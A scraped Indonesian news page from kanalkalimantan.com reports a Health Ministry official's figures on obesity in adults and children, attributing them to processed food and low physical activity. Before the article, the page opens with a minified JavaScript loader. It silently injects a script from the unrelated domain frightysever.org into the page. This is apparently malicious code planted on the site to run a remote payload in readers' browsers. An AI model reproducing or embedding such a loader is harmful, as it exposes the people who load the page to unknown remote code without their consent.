(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Tingginya angka pengidap obesitas di Indonesia dikatakan pakar terjadi karena pola hidup yang tidak sehat.
Menurut Pelaksana Tugas Direktur Pencegahan dan Pengendalian Penyakit Tidak Menular Kemenkes dr Elvieda Sariwati, M.Epid, sebanyak 68 juta orang dewasa di Indonesia mengalami obesitas dikarenakan pola makan yang tidak sehat dan minimnya aktivitas fisik.
“Satu dari tiga orang dewasa, sekitar 35,4 persen, atau 68 juta orang dewasa itu mempunyai obesitas, masalah ini cukup besar,” kata Elvieda dikutip dari ANTARA.
Ia menjelaskan obesitas atau kegemukan juga terdapat pada anak-anak. Sebanyak satu dari lima anak Indonesia yang berusia 5 sampai 12 tahun, atau 20 persen dari populasi anak secara nasional mengalami kegemukan.
Baca juga :Â 4 Tujuan Nadiem Terbitkan Permen PPKS, Salah Satunya Buat Kampus Ambil Langkah Tegas
Menurut Elvieda angka ini cukup mengkhawatirkan lantaran obesitas merupakan faktor risiko umum penyebab munculnya penyakit tidak menular.
Obesitas, kata dia, berkaitan erat dengan penyakit tekanan darah tinggi dan diabetes melitus yang juga berkaitan dengan penyakit katastropik seperti gagal jantung dan stroke.
Ia menjelaskan data Susenas 2017 mengungkapkan pola konsumsi pangan masyarakat Indonesia menjadi penyebab munculnya obesitas.
“Dari hasil Susenas tahun 2017 didapatkan data bahwa ternyata makanan dan minuman olahan, serta siap saji, merupakan jenis konsumsi terbesar sekitar 32,7 persen. Tentunya ini merupakan salah satu faktor risiko terjadinya obesitas karena tinggi gula,” katanya.
Baca juga :Â Pasca Puting Beliung di Liang Anggang, Material Bangunan Diserahkan Wali Kota Banjarbaru
Ia menambahkan, pola makan juga merupakan faktor risiko nomor satu pada kontribusi kematian dan kecacatan di Indonesia, terutama yang disebabkan oleh penyakit tidak menular.
Selain pola makan yang tidak sehat, perilaku yang berisiko menyebabkan penyakit tidak menular adalah aktivitas fisik yang kurang.
Melihat perbandingan data Riskesdas 2013 dan 2018, terlihat peningkatan perilaku minimnya aktivitas fisik dari 26,1 persen menjadi 33,5 persen. Pola makan yang tidak sehat jgluga meningkat pada 2013 93,5 persen menjadi 95,5 pada 2018, demikian Elvieda Sariwati. (Suara.com)
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.